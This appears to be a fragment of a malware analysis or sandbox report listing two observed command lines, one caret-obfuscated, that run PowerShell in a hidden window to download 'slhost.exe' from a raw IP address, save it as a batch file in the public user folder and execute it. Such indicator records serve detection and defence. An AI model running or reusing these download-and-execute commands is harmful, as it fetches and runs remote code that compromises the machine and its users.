Technical Information
- '<SYSTEM32>\cmd.exe' /c pow^ers^hell/W 01 c^u^rl htt^p://64.176.43.239/public/slhost.exe -o C:\Users\Public\pjq6z.bat;start C:\Users\Public\pjq6z.bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' /W 01 curl http://64.176.43.239/public/slhost.exe -o C:\Users\Public\pjq6z.bat;start C:\Users\Public\pjq6z.bat